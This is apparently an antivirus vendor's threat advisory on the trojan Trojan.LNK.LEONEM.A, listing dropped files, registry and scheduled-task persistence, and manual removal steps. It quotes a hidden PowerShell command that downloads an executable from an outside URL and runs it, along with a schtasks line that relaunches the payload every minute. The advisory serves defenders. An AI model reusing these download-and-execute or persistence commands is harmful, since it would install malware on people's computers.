Trojan.LNK.LEONEM.A
Trojan:Win32/Leonem!rfn (MICROSOFT)
Windows

Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %User Temp%\XWUQBB.vbs
- %User Temp%\FileNameBox.exe → Detected as TROJ_GEN.R002C0DIT25
- %Application Data%\Windata\Microsoft Edge.exe → Detected as TROJ_GEN.R002C0DIT25
- %User Startup%\XWUQBB.lnk
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)
It adds the following processes:
- "%System%\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.{BLOCKED}usercontent.com/admsalespre01-design/JOJO/refs/heads/main/SHIPPING%20INV-PACKING%20LIST_DOCUMENTS.exe', '%User Temp%\FileNameBox.exe'); Start-Process '%User Temp%\FileNameBox.exe'";
- "%User Temp%\FileNameBox.exe"
- %System%\cmd.exe /c schtasks /create /tn XWUQBB.exe /tr %Application Data%\Windata\Microsoft Edge.exe /sc minute /mo 1
- WSCript %User Temp%\XWUQBB.vbs
- schtasks /create /tn XWUQBB.exe /tr %Application Data%\Windata\Microsoft Edge.exe /sc minute /mo 1
Autostart Technique
This Trojan adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
XWUQBB = "%Application Data%\Windata\Microsoft Edge.exe"
Other System Modifications
This Trojan adds the following registry entries:
HKEY_CURRENT_USER\Software\Win32
XWUQBB = 3368
Download Routine
This Trojan connects to the following URL(s) to download its component file(s):
- https://raw.{BLOCKED}usercontent.com/admsalespre01-design/JOJO/refs/heads/main/SHIPPING%20INV-PACKING%20LIST_DOCUMENTS.exe
- Downloaded file renamed to the following filename:
- %Temp%\FileNameBox.exe
Other Details
This Trojan adds the following registry keys:
HKEY_CURRENT_USER\Software\Win32
It adds the following scheduled tasks:
- Location:{Scheduled Tasks Root Directory}
- Name: XWUQBB.exe
- Trigger: On {task creation time} — repeat task every 1 minute indefinitely
- Action: Start a program - "%Application Data%\Windata\Microsoft Edge.exe
(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Deleting Scheduled Tasks while in Safe Mode
- Still in safe mode, the following {Task Name}-{Task to be run} listed should be used in the steps identified below:
- Task Name: XWUQBB.exe
- Task to be run: %Application Data%\Windata\Microsoft Edge.exe
- For Windows 7 and Server 2008 (R2) users, click Start>Computer.
- For Windows 8, 8.1, 10, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
- In the Search Computer/This PC input box, type:
- %System%\Tasks\{Task Name}
- Once located, select the file then press SHIFT+DELETE to delete it.
- Open Registry Editor. To do this:
- For Windows 7 and Server 2008 (R2) users, click the Start button, type regedit in the Search input field, and press Enter.
- For Windows 8, 8.1, 10, and Server 2012 (R2) users, right-click on the lower left corner of the screen, click Run, type regedit in the text box
- In the left panel of the Registry Editor window, double-click the following:
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
- Locate the created entry and take note of the registry value's data:
- ID={Task Data}
- After taking note of the data, delete the registry key:
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
- In the left panel of the Registry Editor window, double-click the following:
- HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
- Still in the left panel, locate and delete the registry key with the same name as the located Task Data in step #6:
- ={Task Data}
- Close Registry Editor.
Step 5
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Win32
Step 6
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- XWUQBB = "%Application Data%\Windata\Microsoft Edge.exe"
- XWUQBB = "%Application Data%\Windata\Microsoft Edge.exe"
- In HKEY_CURRENT_USER\Software\Win32
- XWUQBB = 3368
- XWUQBB = 3368
Step 7
Search and delete this file
- %User Temp%\XWUQBB.vbs
- %User Temp%\FileNameBox.exe
- %Application Data%\Windata\Microsoft Edge.exe
- %User Startup%\XWUQBB.lnk
Step 8
Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.LNK.LEONEM.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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